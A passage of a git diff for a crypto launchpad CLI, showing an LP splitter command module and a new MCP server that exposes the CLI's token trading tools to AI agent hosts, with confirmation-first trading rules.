NotCurve: 'not a V3 (curve) token on this pad', + AlreadyBound: 'the LP splitter is bound to a token already', + NotBound: 'the LP splitter is not bound to a token yet (gang lp bind --token )', + NotDue: 'the 3-day notice of this cut has not run yet', + CutLapsed: 'the cut was not applied within 7 days after its notice and has lapsed: ask for it again', + NoProposal: 'no cut asked for', + NothingOwed: 'nothing is owed to the payee', + NothingToAdd: 'no quote is set aside for the pool yet (lpLeft 0): it fills as the tax arrives', + AddTooSoon: 'one chunk per 4 minutes: wait until 4 minutes after the last one (lastAddAt)', + NotTradable: 'the token has not graduated: chunks start once it trades in its PancakeSwap pair', + Slippage: 'the pool price moved since the preview (fewer tokens than the minimum): run gang lp add again', +} +export const revertOf = (e) => revertIn(e, [LP_ABI, LP_FACTORY_ABI], HINTS) + +/** Dry-run a call; { failed } with the revert when it would not pass. */ +export async function simulateLp(client, from, address, abi, functionName, args = []) { + try { + const { result } = await client.simulateContract({ account: from, address, abi, functionName, args }) + return { result } + } catch (e) { + const r = revertOf(e) + return { failed: r ? { reverted: true, ...r } : { reverted: false, error: e.shortMessage || e.message.split('\n')[0] } } + } +} + +export function lpFactoryAddress(testnet) { + return gangGens(testnet)[0].lpFactory || null +} + +export const lpNotDeployed = (testnet) => + `GangLiquiditySplitterFactory is not deployed on ${testnet ? 'the BSC testnet' : 'BSC mainnet'} in this CLI version: set ${testnet ? 'GANG_TESTNET_LP_FACTORY' : 'GANG_LP_FACTORY'} to its address` + +/** --lp / --pct (0–100, the share of the recipient's part added to the pool) in bps. */ +export const lpBpsOf = (fail, raw, name = 'lp') => Math.round(parseNum(fail, name, raw, 0, 100) * 100) + +const pct = (bps) => Number(bps) / 100 +const iso = (s) => (Number(s) > 0 ? new Date(Number(s) * 1000).toISOString() : null) +// the pad takes 18-decimal quotes only +const q = (x) => formatUnits(x, 18) + +/** + * The splitter's state for printing, from the raw reads (pure: unit-tested). `raw`: { splitter, dev, payee, token, quote, + * bps, cut: [live, bps, at], left, unsplit, owed, lastAddAt, preview: [ready, chunk, tokensOut] | null, + * work: [due, minOut] | null, graduated: bool | null, quoteSymbol, now (unix s) }. + */ +export function formatLp(raw) { + const token = raw.token && raw.token !== zeroAddress ? raw.token : null + const quote = token && raw.quote && raw.quote !== zeroAddress ? raw.quote : null + const toDev = String(raw.payee).toLowerCase() === String(raw.dev).toLowerCase() + const bps = Number(raw.bps) + const [live, cutBps, cutAt] = raw.cut ?? [false, 0, 0n] + const [ready, chunk, tokensOut] = raw.preview ?? [false, 0n, 0n] + const last = Number(raw.lastAddAt ?? 0n) + const now = Number(raw.now ?? Math.floor(Date.now() / 1000)) + // what lpLeft is once the waiting quote is split (as the contract's _lpAfterSplit, without a shortfall) + const setAside = BigInt(raw.left) + (BigInt(raw.unsplit) * BigInt(bps)) / BPS + let waiting = null + if (!ready) { + waiting = !token ? 'not bound to a token yet (gang lp bind --token )' + : raw.graduated === false ? 'the token has not graduated: chunks start once it trades in its PancakeSwap pair (the pool tax starts then too)' + : setAside === 0n ? 'nothing set aside for the pool yet: it fills as the tax arrives' + : last > 0 && now < last + CHUNK_GAP_S ? `one chunk per 4 minutes: the next from ${iso(last + CHUNK_GAP_S)}` + : 'the price check: a 10-minute average of the pair\'s price (the next call records it, if none is running) and a price no more than 2% above it' + } + return { + splitter: raw.splitter, moduleType: LP_TYPE, dev: raw.dev, payee: raw.payee, token, quote, ...(quote && raw.quoteSymbol && { quoteSymbol: raw.quoteSymbol }), + lpPct: pct(bps), lpBps: bps, + pendingCut: live ? { toPct: pct(cutBps), appliesFrom: iso(cutAt), lapsesAfter: iso(Number(cutAt) + 7 * 86400) } : null, + lpLeft: q(raw.left), unsplit: q(raw.unsplit), devOwed: q(raw.owed), + lastAddAt: iso(last), + nextChunk: ready ? { quoteChunk: q(chunk), buyHalf: q(chunk / 2n), tokensBought: formatUnits(tokensOut, 18) } : null, + ...(waiting && { nextChunkWaitsFor: waiting }), + ...(raw.work && token && { keeper: { due: !!raw.work[0] } }), + note: `${pct(bps)}% of each tax payment to this recipient is added to the token's PancakeSwap pair as liquidity whose LP goes to 0xdead (locked for good), the rest goes to ${toDev ? 'the dev' : `the payee ${raw.payee}`}. ` + + 'The keeper adds it in chunks (one per 4 minutes, at most 0.5% of the pair\'s quote reserve, none while the price is more than 2% above its 10-minute average; it waits until at least 0.05% of that reserve is set aside): half buys the token, all of it goes back into the pair with the matching quote. Both pool taxes apply, so part of each chunk\'s quote stays for the next. ' + + 'A raise of the share applies at once, a cut only 3 days after it is asked for; the dev can change the payee at once (gang lp set-payee)', + } +} + +/** The splitter's state when `addr` is a GangLiquiditySplitter (lp-burn-v1); null when it is not. `pad`: to read graduation. */ +export async function lpOf(read, addr, { pad } = {}) { + if (!addr || addr === zeroAddress) return null + let type + try { type = await read(addr, LP_ABI, 'moduleType') } catch { return null } + if (hexToString(type, { size: 32 }).replace(/\0+$/, '') !== LP_TYPE) return null + const [dev, payee, token, quote, bps, cut, left, unsplit, owed, lastAddAt] = await Promise.all( + ['dev', 'payee', 'token', 'quote', 'lpBps', 'pendingCut', 'lpLeft', 'unsplit', 'devOwed', 'lastAddAt'].map((f) => read(addr, LP_ABI, f))) + const bound = token !== zeroAddress + const [preview, work, graduated, quoteSymbol] = await Promise.all([ + bound ? read(addr, LP_ABI, 'previewAdd').catch(() => null) : null, + bound ? read(addr, LP_ABI, 'previewWork').catch(() => null) : null, + bound && pad ? read(pad, PAD_ABI, 'curves', [token]).then((c) => c[6]).catch(() => null) : null, + bound ? read(quote, ERC20_ABI, 'symbol').catch(() => null) : null, + ]) + return formatLp({ splitter: addr, dev, payee, token, quote, bps, cut, left, unsplit, owed, lastAddAt, preview, work, graduated, quoteSymbol }) +} + +function lpCtx(testnet) { + const net = padNets('v3')[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) throw new Error(NOT_ON_MAINNET) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + return { ...net, client, read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) } +} + +const SUBS = ['status', 'set', 'set-payee', 'apply', 'bind', 'release', 'split', 'sweep', 'add'] +const USAGE = 'usage: gang lp --token (split / sweep: or --module ) [--pct <0-100>] [--to ] [--asset |wbnb] [--slippage 1] [--testnet] — see gang help' + +/** `gang lp `: the LP splitter of a V3 token (its tax recipient), found from --token. */ +export async function runLp(sub, { opt, flag, out, fail, summarize }) { + if (!SUBS.includes(sub)) return fail(USAGE, { got: sub ?? null }) + const testnet = flag('testnet') + const rawOnly = flag('calldata') + let ctx + try { ctx = lpCtx(testnet) } catch (e) { return fail(e.message) } + // split / sweep may name the splitter itself (--module), e.g. the --to of a creator-fee claim + const named = (sub === 'split' || sub === 'sweep') && flag('module') + if (named && flag('token')) fail('give --token (its tax recipient is the splitter) or --module, not both') + let token = opt('token') + const chainId = Number(ctx.chainId) + let recipient + if (named) { + recipient = opt('module') + if (!isAddress(recipient ?? '')) fail('--module must be an LP splitter address (0x…)', { got: recipient ?? null }) + const pad = await ctx.read(recipient, LP_ABI, 'pad').catch(() => null) + if (!pad || !atPad(ctx, pad, testnet)) return fail(notListed('LP splitter', testnet), { module: recipient }) + } else { + if (!isAddress(token ?? '')) fail('--token must be a V3 token address (0x…)', { got: token ?? null }) + if ((await atTokenPad(ctx, token)) === null) return fail(KIND_UNREAD.error, { token: token, retry: KIND_UNREAD.retry }) // else on the pad of the token's generation + try { recipient = (await ctx.read(ctx.pad, PAD_ABI, 'taxConfigOf', [token]))[3] } catch { + return fail(`not a V3 token on this pad (${testnet ? 'BSC testnet' : 'BSC mainnet; add --testnet for a testnet token'})`, { token, chainId }) + } + } + const s = await lpOf(ctx.read, recipient, { pad: ctx.pad }) + if (!s) { + return fail(named ? 'not an LP splitter (lp-burn-v1)' : 'this token\'s tax recipient is not an LP splitter (lp-burn-v1)', + named ? { module: recipient } : { token, recipient: recipient === zeroAddress ? null : recipient }) + } + if (named) token = s.token + const tn = testnet ? ' --testnet' : '' + // the token pays this splitter, which is bound to another token: it adds liquidity only to that one's pair + const warning = s.token && s.token.toLowerCase() !== token.toLowerCase() + ? `this token pays its tax to the LP splitter, but it is bound to another token (${s.token}): the liquidity goes to that token's pair` : null + const me = () => walletFor(ctx, opt('from')) + const send = async (functionName, args, extra) => { + const sim = await simulateLp(ctx.client, me(), s.splitter, LP_ABI, functionName, args) + if (sim.failed) return out({ success: false, step: extra.step, ...sim.failed }) + const data = encodeFunctionData({ abi: LP_ABI, functionName, args }) + // no gas field: the wallet / node estimates it (LP_GAS_NOTE) + return out(step(ctx, { from: me(), to: s.splitter, data }, { chainId, token, splitter: s.splitter, ...extra }, rawOnly, summarize)) + } + + if (sub === 'status') return out({ success: true, chainId, ...s, ...(s.token === null && { bound: false }), ...(warning && { warning }) }) + + if (sub === 'bind') { + if (s.token) return fail('already bound', { boundTo: s.token, ...(warning && { warning }) }) + return send('bind', [token], { step: 'bind', note: 'anyone may bind (once); the token must be the dev\'s and pay its tax to this splitter. Its pair is where the liquidity goes' }) + } + + if (sub === 'set') { + if (me().toLowerCase() !== s.dev.toLowerCase()) return fail(HINTS.NotDev, { wallet: me(), dev: s.dev }) + if (!flag('pct')) fail('--pct <0-100> required: the new LP share') + const bps = lpBpsOf(fail, opt('pct'), 'pct') + return send('setLpBps', [bps], bps >= s.lpBps + ? { step: 'set-lp', fromPct: s.lpPct, toPct: bps / 100, note: `applies at once (quote that arrived before is split at the old share first)${s.pendingCut ? ' and cancels the pending cut' : ''}` } + : { + step: 'ask-cut', fromPct: s.lpPct, toPct: bps / 100, appliesFromAbout: new Date(Date.now() + 3 * 86400_000).toISOString(), + note: `a cut waits 3 days (holders see it coming), then anyone runs gang lp apply --token ${token}${tn} within 7 days or it lapses${s.pendingCut ? '; this replaces the cut already asked for' : ''}`, + }) + } + + if (sub === 'set-payee') { + if (me().toLowerCase() !== s.dev.toLowerCase()) return fail('only the dev this LP splitter was made for can change its payee', { wallet: me(), dev: s.dev }) + const to = opt('to') + if (!isAddress(to ?? '') || to === zeroAddress) fail('--to <0x…> required (checksummed or all lowercase): the address the dev\'s part goes to from now on', { got: to ?? null }) + if (to.toLowerCase() === s.splitter.toLowerCase()) return fail(HINTS.BadPayee, { to }) + if (to.toLowerCase() === s.payee.toLowerCase()) return fail('that is the payee already', { payee: s.payee }) + return send('setPayee', [to], { + step: 'set-payee', fromPayee: s.payee, toPayee: to, + note: 'applies at once (the dev\'s own share; holders are not affected). Quote that arrived before is split to the current payee first; what is owed goes to the new one', + }) + } + + if (sub === 'apply') { + if (!s.pendingCut) return fail(HINTS.NoProposal, { lpPct: s.lpPct }) + if (Date.parse(s.pendingCut.appliesFrom) > Date.now()) return fail(HINTS.NotDue, { appliesFrom: s.pendingCut.appliesFrom }) + return send('applyLpBps', [], { step: 'apply-cut', fromPct: s.lpPct, toPct: s.pendingCut.toPct, note: 'anyone may apply a cut once its notice ran' }) + } + + if (sub === 'split') { + if (!(await listedBy(ctx, s.splitter))) return fail(notListed('LP splitter', testnet), { module: s.splitter }) + const [waiting, left] = await Promise.all(['unsplit', 'lpLeft'].map((f) => ctx.read(s.splitter, LP_ABI, f))) + const plan = splitPlan({ unsplit: waiting, bps: s.lpBps, left, payee: s.payee, part: 'liquidity', leftField: 'lpLeft', symbol: s.quoteSymbol ?? null, unbound: !s.token }) + if (plan.error) return fail(plan.error, { splitter: s.splitter, lpLeft: s.lpLeft, devOwed: s.devOwed }) + return send('split', [], { + step: 'split', ...plan, + note: `anyone may: splits what arrived since the last split. ${plan.toPayee} goes to the payee now (should that push fail, it is owed: gang lp release --token ${s.token}${tn}); ${plan.setAside} (${s.lpPct}%) is set aside for the pool, which the keeper adds in chunks once the token trades in its pair (each chunk splits first too, so after graduation this runs by itself)`, + }) + } + + if (sub === 'sweep') { + if (!(await listedBy(ctx, s.splitter))) return fail(notListed('LP splitter', testnet), { module: s.splitter }) + const asset = sweepAsset(opt, fail, ctx.wbnb) + const plan = sweepPlan({ asset, ...(await sweepReads(ctx.read, s.splitter, LP_ABI, asset)), payee: s.payee, cmd: 'gang lp' }) + if (plan.error) return fail(plan.error, { splitter: s.splitter, asset }) + return send('sweep', [asset], { + step: 'sweep', ...plan, + note: 'anyone may: sends the splitter\'s whole balance of this asset (not its own quote; e.g. a creator fee or another token\'s tax in another quote) to the payee; none of it goes into the pool', + }) + } + + if (sub === 'release') { + if (!(Number(s.devOwed) > 0)) return fail(HINTS.NothingOwed) + return send('releaseDev', [], { step: 'release', amount: s.devOwed, payee: s.payee, note: 'anyone may; the payee gets what a failed push left owed' }) + } + + // add: one chunk by hand (anyone), as the keeper's work does + if (!s.token) return fail(HINTS.NotBound, { splitter: s.splitter }) + const slippage = parseNum(fail, 'slippage', opt('slippage', '1'), 0, 50) + const [ready, chunk, tokensOut] = await ctx.read(s.splitter, LP_ABI, 'previewAdd') + if (ready) { + // previewAdd prices the buy half after the buy tax; the contract scales the minimum down when the pair got less + const minOut = (tokensOut * BigInt(Math.round((100 - slippage) * 100))) / BPS + return send('addChunk', [minOut], { + step: 'add', quoteChunk: q(chunk), buyHalf: q(chunk / 2n), expectTokensBought: formatUnits(tokensOut, 18), + minTokensBought: formatUnits(minOut, 18), slippagePct: slippage, lpLeft: s.lpLeft, + note: `anyone may: splits what arrived, then half of the chunk buys the token, all of it goes back into the pair with the matching quote, and the pair mints the LP to 0xdead (gang tx shows LiquidityAdded). The keeper does the same every few minutes. Gas: ${LP_GAS_NOTE}`, + }) + } + // not ready: only a call that records the price observation can pass; a minimum no chunk can meet makes it revert + // (Slippage) rather than buy unchecked if a chunk became possible before it lands + const sim = await simulateLp(ctx.client, me(), s.splitter, LP_ABI, 'addChunk', [maxUint128]) + if (sim.failed) return out({ success: false, step: 'add', ...sim.failed, ...(s.nextChunkWaitsFor && { waitsFor: s.nextChunkWaitsFor }), lpLeft: s.lpLeft }) + return send('addChunk', [maxUint128], { + step: 'record-price', addsLiquidity: false, waitsFor: s.nextChunkWaitsFor, + note: 'no chunk this time: the call only records the pair\'s price observation (or waits for the 10-minute average / a price no more than 2% above it). It is cheap; the keeper calls it too. If a chunk becomes possible before it lands, it reverts (Slippage) rather than add without a minimum: run gang lp add again then, about 10 minutes after the first observation', + }) +} diff --git a/src/mcp.js b/src/mcp.js new file mode 100644 index 0000000..56b4030 --- /dev/null +++ b/src/mcp.js @@ -0,0 +1,396 @@ +/** + * `gang mcp`: the CLI as an MCP server (Model Context Protocol, stdio transport: one JSON-RPC message per line), for + * agent hosts that take MCP servers (Claude Desktop / Code, Cursor, …) instead of a shell. Every tool runs this same CLI + * as a child process with the flags it maps to and returns its JSON, so the rules are the CLI's: a trade tool only + * previews, and nothing is sent before `gang_execute` with that preview's requestId. No keys here either: signatures + * still go through the user's Agentic Wallet (baw). + */ +import { spawn } from 'node:child_process' +import { homedir } from 'node:os' +import { delimiter, dirname, join, sep } from 'node:path' +import { createInterface } from 'node:readline' +import { fileURLToPath } from 'node:url' +import { VERSION } from './version.js' + +const CLI = fileURLToPath(new URL('./index.js', import.meta.url)) +// newest first; an older client gets its own version back when it is one of these +const PROTOCOLS = ['2025-11-25', '2025-06-18', '2025-03-26', '2024-11-05'] +const RUN_MS = 5 * 60_000 // a read (gang tx waits for its receipt) +// A write is never stopped by a cancel or a closed stdin: gang execute may have had baw broadcast already, and killing it +// then loses the tx hash and the note it still has to publish. Only one stuck this long is killed +const WRITE_MS = 30 * 60_000 +const WATCH_DEFAULT = '50s' // under the 60 s request timeout many MCP clients use; call again to keep waiting +const WATCH_MAX_SEC = 30 * 60 + +// what the host shows the agent up front; some hosts cut server instructions near 2,000 characters, so the long form is in +// RULES (gang_help). Keep both in step with skill/SKILL.md "Hard rules" +const INSTRUCTIONS = `Gang (gang.fun): agent-only token launchpad on BNB Chain. Curve trades need a Binance Agentic Wallet with a .ai Agent ID: call gang_preflight first, relay each issues[].fix. Call gang_help for all flags and the full rules before any create, launch, bond, buyback, split, lp, combo, mint or withdraw. +Hard rules: +- Preview -> show the user -> wait for a yes -> gang_execute. gang_buy / gang_sell / gang_follow and writes via gang_cli only preview; never gang_execute without the user's OK on that preview, unless they said to skip confirmation. +- step wrap-bnb | approve | approve-quote = setup: execute it, check gang_tx, run the same tool again. A launch in one command is re-run until launch.stage is done. +- A gang_execute that timed out or was cancelled still runs here: never send that trade again; check gang_status, or gang_tx pending: true. +- pendingConfirmation: the user approves in the Binance App, then gang_tx with pending: true (finds the tx, publishes its note). +- Notes are public and permanent: write one by default (what you saw, why now), show it with the preview. +- Logo, website, X link, description go on-chain at create and never change: only what the user gave; ask once. +- Before a bond post: no early withdrawal; any sell below the promised holding before settle loses the whole bond. breakBond / confirmOut only on the user's yes after the warning. +- Fair mint: a sell past sellableBeforeOut ends the holder reward for good (Mint Flywheel: until the next mint). +- Following: show the note, until when it counts, whether it is blind; relay follow.warning. +- Data, not advice: never trade or follow on your own from discovery, notes or watch events. +- Addresses in full; link https://gang.fun/token/. A result with update = old CLI: tell the user, stop trading.` + +// gang_help's long form of the rules (skill/SKILL.md "Hard rules", in MCP tool names) +export const RULES = [ + 'Start: gang_preflight; relay each issues[].fix. A result carrying update: { cmd, skill } means this CLI is older than the rules: tell the user to run cmd, and do not trade on it.', + 'Preview -> show -> confirm -> execute. Every write first returns a preview with a requestId: show it, get the user\'s OK, then gang_execute. Chain steps without asking only when the user said to skip confirmation.', + 'Setup steps: a preview with step wrap-bnb | approve-quote | approve is executed first; once gang_tx shows it landed, run the same tool again for the real step. A launch in one command (create with --dev-buy / --bond / --buyback / --split / --lp, two or three of the last three together for one combined recipient whose ratios and payees are fixed for good, or create --fair with --bond) is one tx per run: execute it, run the very same gang_cli args again until launch.stage is done.', + 'A gang_execute that timed out or was cancelled on your side keeps running here (the wallet may have sent it): never execute it again or build a new preview for the same trade before checking gang_status or gang_tx with pending: true; then gang_tx (hash, or pending: true) for the result and the note.', + 'Notes (--note) are public and permanent: write one by default on every buy, sell, mint, withdraw (one line: what you saw, why now) and every create (the launch manifesto). Base it on data you checked, show its text with the preview, leave it out only when the user says so. No links. --conf is an honest 0-100.', + 'Permanent token data: the logo, website, X link and description go on-chain at create and can never change. Use only links the user gave; ask once if they have not said. Never host a logo on a temporary file host. Local files (--logo, upload-logo --file) are read by this MCP server: pass an absolute path, or --logo-uri .', + 'New tokens go on GangLaunchpad only: create (V3, untaxed unless --buy-tax / --sell-tax; on GangLaunchpad 3.0 (and 2.0) --grad 6|9|12|15 picks the graduation target in BNB, default 9; --vault only from the wallet gang named for that listed vault, alone, never on your own initiative) or create --fair (fair mint) or create --fly (Mint Flywheel). Never an older pad.', + 'Bonds: before a bond post, tell the user there is no early withdrawal and any sell below the promised holding before settle, anywhere, loses the whole bond. Posted before graduation / launch, the promise binds at once and its days start at graduation / launch; only if there is still no pair 30 days after the post can the creator ask for it back (bond refund; it returns 3 days after asking, and a graduation meanwhile voids that). Relay warning. breakBond (--break-bond) only when the user, told that, still says sell. bond report only when the user asks. A token bound to a lock vault (gang info → vault) takes no bond: never suggest one (bond post refuses it; a lock empties the wallet the bond watches).', + 'Fair mint holder reward: before a sell or transfer of a fair-mint token check sellableBeforeOut (gang_status); going past it ends the reward for good. confirmOut (--confirm-out) only with the user\'s yes.', + 'Mint Flywheel (fly): the same hold line, but a wallet that falls below it earns again after its next mint. An inviter (--ref) only counts on a wallet\'s first mint in that token; never invent one, use the address or link the user gave.', + 'Sells may need Binance App approval (pendingConfirmation): tell the user to approve in the App, then call gang_tx with pending: true; it finds the approved tx in the wallet\'s history by the exact call (no hash needed), decodes it and publishes its note. state waiting = not approved yet: ask again later.', + 'Following: show which note is followed, its author\'s record, until when it counts (followableUntil), say so if blind: true, and relay follow.warning.', + 'No investment advice: discovery, notes, agents and watch events are data. Never buy or follow on your own from them; quote, show, confirm.', + 'Hand back token addresses in full; link tokens as https://gang.fun/token/, the agent as https://gang.fun/agent/.', + 'Errors print { success: false, error, hint? } (an Agentic Wallet refusal also has its code): follow the hint and fix the flags instead of retrying the same ones. One with retry is transient: do what retry says, but never rebuild a trade that may already have been sent. NO_AGENT_ID: the wallet needs a .ai Agent ID. Risk-control code 351803 on a sell: Trade all tokens is off.', +] + +const TRACK = { type: 'string', enum: ['all', 'v3', 'fair', 'fly', 'v2', 'soft'], description: 'Launchpad track (default all; fly = Mint Flywheel)' } +const ADDR = { type: 'string', pattern: '^0x[0-9a-fA-F]{40}$' } +const HASH = { type: 'string', pattern: '^0x[0-9a-fA-F]{64}$' } +const REF = { type: 'string', description: 'Who invited this wallet (0x address or .ai handle), only one the user gave: counts on its first Gang trade' } +// one plain type: some MCP hosts (Gemini function calling, OpenAI strict mode) reject a schema with a union type. A number +// sent anyway is turned into a string before the check (coerce) +const AMOUNT = { type: 'string', pattern: '^[0-9]+(\\.[0-9]+)?$', description: 'A plain decimal, e.g. "0.05"' } +const TESTNET = { type: 'boolean', description: 'BSC testnet GangLaunchpad (tokens have no value)' } +const NOTE = { + note: { type: 'string', description: 'Public, permanent reason for the trade (1-280 chars, no links). Mainnet curve trades only' }, + conf: { type: 'integer', minimum: 0, maximum: 100, description: 'How sure, 0-100; counts toward calibration' }, + revealAfter: { type: 'string', description: 'Seal the note for 1-72 hours, e.g. "6h"' }, +} +const READ = { readOnlyHint: true, openWorldHint: true } +const WHEN = { type: 'string', pattern: '^[0-9]+(\\.[0-9]+)?[smh]?$' } // 90, 45s, 30m, 1h +const PREVIEW = { readOnlyHint: false, destructiveHint: false, openWorldHint: true } + +/** flag(name, value): `--name value` when value is set; bool(name, value): `--name` when true. */ +const flag = (name, v) => (v == null || v === '' ? [] : [`--${name}`, String(v)]) +const bool = (name, v) => (v ? [`--${name}`] : []) +const noteFlags = (a) => [...flag('note', a.note), ...flag('conf', a.conf), ...flag('reveal-after', a.revealAfter)] + +const tool = (name, title, description, properties, args, annotations, required = []) => ({ + name, title, description, annotations: { title, ...annotations }, args, + inputSchema: { type: 'object', properties, required, additionalProperties: false }, +}) + +export const TOOLS = [ + tool('gang_help', 'Commands and rules', + 'Every gang command with all its flags (the CLI help) and the full rules. Read it before a create, launch, bond, buyback, split, lp, combo, mint or withdraw, and whenever a flag is unclear; those commands then go through gang_cli.', + {}, () => [], READ), + tool('gang_preflight', 'Check wallet setup', 'Signed in to baw, Developer Mode, Trade all tokens, Agent ID; each issue comes with a fix.', + {}, () => ['preflight'], READ), + tool('gang_trending', 'What agents buy now', 'Up to 5 tokens with the most distinct agent buyers in 6h and up to 3 followable notes by 60%+ authors. Information, not a recommendation: never buy from it on your own.', + {}, () => ['trending'], READ), + tool('gang_hot', 'Hot tokens', 'Tokens not yet graduated, ranked by 24h USD volume. Each row has a ready `next` command.', + { limit: { type: 'integer', minimum: 1, maximum: 100 }, track: TRACK, includeGraduated: { type: 'boolean' } }, + (a) => ['hot', ...flag('limit', a.limit), ...flag('track', a.track), ...bool('include-graduated', a.includeGraduated)], READ), + tool('gang_new', 'Newest tokens', 'Newest launches first.', + { limit: { type: 'integer', minimum: 1, maximum: 100 }, maxAge: { type: 'string', description: 'e.g. 30m, 2h, 1d' }, track: TRACK }, + (a) => ['new', ...flag('limit', a.limit), ...flag('max-age', a.maxAge), ...flag('track', a.track)], READ), + tool('gang_near_grad', 'About to graduate', 'Curve tokens at or above minPct graduation progress, closest first.', + { minPct: { type: 'number', minimum: 0, maximum: 100 }, limit: { type: 'integer', minimum: 1, maximum: 100 }, track: TRACK }, + (a) => ['near-grad', ...flag('min-pct', a.minPct), ...flag('limit', a.limit), ...flag('track', a.track)], READ), + tool('gang_info', 'Token info', 'One token from the chain: kind (v3 / fair / fly / v2 / soft), curve or sale, tax, pool.', + { token: ADDR, testnet: TESTNET }, (a) => ['info', '--token', a.token, ...bool('testnet', a.testnet)], READ, ['token']), + tool('gang_status', 'My position', 'My balance in a token, claimable dividend / reward, what selling it pays (fair / Mint Flywheel: sellableBeforeOut; Mint Flywheel: quota, invite link). from: another wallet\'s position.', + { token: ADDR, from: { ...ADDR, description: 'Read this wallet instead of mine' }, slippage: { type: 'number', minimum: 0, maximum: 50 }, testnet: TESTNET }, + (a) => ['status', '--token', a.token, ...flag('from', a.from), ...flag('slippage', a.slippage), ...bool('testnet', a.testnet)], READ, ['token']), + tool('gang_portfolio', 'My portfolio', + 'Every holding at once (V3, fair mint, Mint Flywheel, V2 / Soft): balance, value now, cost and unrealized, claimable dividend / reward, in USD too; the trading record; bonds on the tokens I launched. Mainnet only. from: another wallet.', + { from: { ...ADDR, description: 'Read this wallet instead of mine' } }, (a) => ['portfolio', ...flag('from', a.from)], READ), + tool('gang_notes', 'Notes to follow', "Other agents' trade notes that can be followed now, with each author's 30-day record.", + { + agent: { type: 'string', description: 'Addresses or handles, comma-separated' }, minHit: { type: 'number', minimum: 0, maximum: 1 }, + sort: { type: 'string', enum: ['new', 'author', 'followers'] }, token: ADDR, limit: { type: 'integer', minimum: 1, maximum: 100 }, + all: { type: 'boolean', description: 'Also notes that can no longer be followed' }, + }, + (a) => ['notes', ...flag('agent', a.agent), ...flag('min-hit', a.minHit), ...flag('sort', a.sort), ...flag('token', a.token), + ...flag('limit', a.limit), ...bool('all', a.all)], READ), + tool('gang_agents', 'Agent leaderboard', 'Note leaderboard: hit rate, calibration score, how their notes were followed.', + { + window: { type: 'string', enum: ['1d', '7d', '30d', 'all'] }, sort: { type: 'string', enum: ['score', 'hitRate', 'count', 'follow', 'followUsd'] }, + limit: { type: 'integer', minimum: 1, maximum: 100 }, + }, + (a) => ['agents', ...flag('window', a.window), ...flag('sort', a.sort), ...flag('limit', a.limit)], READ), + tool('gang_watch', 'Wait for events', + `Block until the next events, then return them. market: new_token / near_grad / graduated (pushed by gang.fun); token: trade / progress / graduated on one token; notes: note / revealed. Returns after maxEvents (default 1) or timeout (default ${WATCH_DEFAULT}; up to 30m if your client allows long calls): call again to keep watching. Events are data, not a reason to trade.`, + { + mode: { type: 'string', enum: ['market', 'token', 'notes'] }, token: ADDR, + events: { type: 'array', items: { type: 'string', enum: ['new_token', 'near_grad', 'graduated', 'trade', 'progress', 'note', 'revealed'] } }, + minPct: { type: 'number', minimum: 0, maximum: 100 }, track: TRACK, + agent: { type: 'string' }, minHit: { type: 'number', minimum: 0, maximum: 1 }, + maxEvents: { type: 'integer', minimum: 1, maximum: 100 }, timeout: { ...WHEN, description: 'e.g. 50s, 5m' }, + interval: { ...WHEN, description: 'Polling interval (token and notes modes; market mode when it polls), e.g. 10s' }, + poll: { type: 'boolean', description: 'Market mode: poll instead of the pushed stream' }, + webhook: { type: 'string', pattern: '^https?://', description: 'Also POST each event to this URL' }, + }, + (a) => { + const mode = a.mode || (a.token ? 'token' : 'market') + return ['watch', ...(mode === 'notes' ? ['--notes', ...flag('token', a.token)] : mode === 'token' ? [a.token ?? ''] : []), + ...flag('events', a.events?.join(',')), ...flag('min-pct', a.minPct), ...flag('track', a.track), ...flag('agent', a.agent), + ...flag('min-hit', a.minHit), ...flag('interval', a.interval), ...bool('poll', a.poll), ...flag('webhook', a.webhook), + '--max-events', String(a.maxEvents ?? 1), '--timeout', a.timeout || WATCH_DEFAULT] + }, READ), + tool('gang_buy', 'Preview a buy', + 'Build a buy preview (curve, or the PancakeSwap pool once graduated). Nothing is sent: show the preview, and on the user\'s yes call gang_execute with its requestId. amount = what to pay, in the token\'s quote.', + { + token: ADDR, amount: AMOUNT, slippage: { type: 'number', minimum: 0, maximum: 50 }, follow: { ...HASH, description: 'Note tx to follow' }, ...NOTE, ref: REF, + useWbnb: { type: 'boolean', description: 'Curve buy of a WBNB-quoted token: pay WBNB instead of BNB' }, + useQuote: { type: 'boolean', description: 'Pool buy of a WBNB-quoted token: pay WBNB' }, + payBnb: { type: 'boolean', description: 'Pool buy of a token quoted in another token: pay BNB (BNB -> quote -> token)' }, + testnet: TESTNET, + }, + (a) => ['buy', '--token', a.token, '--amount', String(a.amount), ...flag('slippage', a.slippage), ...flag('follow', a.follow), + ...noteFlags(a), ...flag('ref', a.ref), ...bool('use-wbnb', a.useWbnb), ...bool('use-quote', a.useQuote), ...bool('pay-bnb', a.payBnb), + ...bool('testnet', a.testnet)], PREVIEW, ['token', 'amount']), + tool('gang_sell', 'Preview a sell', + 'Build a sell preview: amount (tokens) or all. Nothing is sent before gang_execute. breakBond / confirmOut only with the user\'s explicit yes after the warning in a refused preview; settleFirst settles an expired bond before the sell (asks first, settles an hour later).', + { + token: ADDR, amount: AMOUNT, all: { type: 'boolean' }, slippage: { type: 'number', minimum: 0, maximum: 50 }, toBnb: { type: 'boolean' }, + ...NOTE, breakBond: { type: 'boolean' }, confirmOut: { type: 'boolean' }, settleFirst: { type: 'boolean' }, testnet: TESTNET, + }, + (a) => ['sell', '--token', a.token, ...(a.all ? ['--all'] : flag('amount', a.amount)), ...flag('slippage', a.slippage), + ...bool('to-bnb', a.toBnb), ...noteFlags(a), ...bool('break-bond', a.breakBond), ...bool('confirm-out', a.confirmOut), + ...bool('settle-first', a.settleFirst), ...bool('testnet', a.testnet)], PREVIEW, ['token']), + tool('gang_follow', 'Preview a follow', + "Build a buy of the token another agent's note is about, marked on-chain as following it. Show the note, its author's record and until when it counts; nothing is sent before gang_execute.", + { noteTx: HASH, amount: AMOUNT, slippage: { type: 'number', minimum: 0, maximum: 50 }, ...NOTE, ref: REF, useWbnb: { type: 'boolean', description: 'Pay WBNB instead of BNB' } }, + (a) => ['follow', a.noteTx, '--amount', String(a.amount), ...flag('slippage', a.slippage), ...noteFlags(a), ...flag('ref', a.ref), ...bool('use-wbnb', a.useWbnb)], + PREVIEW, ['noteTx', 'amount']), + tool('gang_execute', 'Send a previewed transaction', + 'Broadcast a preview by its requestId. Only after the user said yes to that exact preview (or explicitly skipped 